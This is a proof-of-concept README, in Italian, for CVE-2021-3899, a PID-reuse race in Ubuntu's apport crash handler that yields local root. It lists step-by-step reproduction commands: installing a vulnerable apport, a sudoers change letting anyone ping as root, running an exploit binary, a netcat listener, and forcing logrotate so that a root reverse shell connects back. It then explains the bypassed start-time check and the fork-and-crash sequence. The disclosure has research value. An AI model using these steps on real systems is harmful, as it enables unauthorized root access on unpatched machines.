CVE-2021-3899 PoC

Riproduzione

0. Installa una versione precedente di apport: sudo apt-get install apport=2.20.11-0ubuntu27 (qualsiasi versione <= 2.20.11-0ubuntu27.10 è valida, ma devi scaricare il codice sorgente)
1. (opzionale) imposta un pid_max piccolo. altrimenti ci vorrà più tempo per preparare il rollback del pid. echo 10000 | sudo tee /proc/sys/kernel/pid_max
2. consenti a chiunque di eseguire ping come root: aggiungi ALL ALL=(root) NOPASSWD: /usr/bin/ping in /etc/sudoers
3. esegui più volte ulimit -c unlimited; ./exploit
4. dovresti vedere un file in /etc/logrotate.d/core
5. apri un'altra shell ed esegui nc -lvcp 1234
6. aspetta che logrotate venga attivato, puoi:
   1. porta l'orologio un minuto prima del trigger di crontab-daily e attendi. (controlla /etc/crontab)
   2. esegui sudo logrotate -vf /usr/sbin/logrotate /etc/logrotate.conf per attivare logrotate immediatamente. (proprio come /etc/cron.daily/logrotate)
7. ci sarà una reverse shell root che si connette a 127.0.0.1:1234

Dettagli

Apport controlla se il pid è stato riutilizzato, verificando se il tempo di avvio del processo è successivo a quello di apport stesso:

  # /usr/share/apport/apport
  594 apport_start = get_apport_starttime()
  595 process_start = get_process_starttime()
  596 if process_start > apport_start:
  597 error_log('process was replaced after Apport started, ignoring')
  598 sys.exit(0)

Ma questo pid potrebbe essere riutilizzato subito dopo l'avvio di apport. In tal caso, get_apport_starttime() == get_process_starttime().

Quindi, puoi far sì che apport generi un core file con -rw------- root:root, se puoi rioccupare questo PID con un altro processo in esecuzione sotto uid==0:

1. prepara un processo X da mandare in crash, il cui pid è A
2. ripeti il fork dei processi, finché il pid corrente raggiunge A - 2
3. fai crashare il processo X; apport verrà lanciato dal kernel con pid A - 1. Uccidiamo il processo X, quindi il pid A ora è libero.
4. esegui il comando sudo ping 8.8.8.8 con cwd /etc/logrotate.d/. un processo in esecuzione sotto root:root rioccuperà il pid A.
5. Poiché il tempo di avvio di sudo e apport è lo stesso, il controllo alla riga 596 viene bypassato. Apport quindi rilascia un core file del processo X in /etc/logrotate.d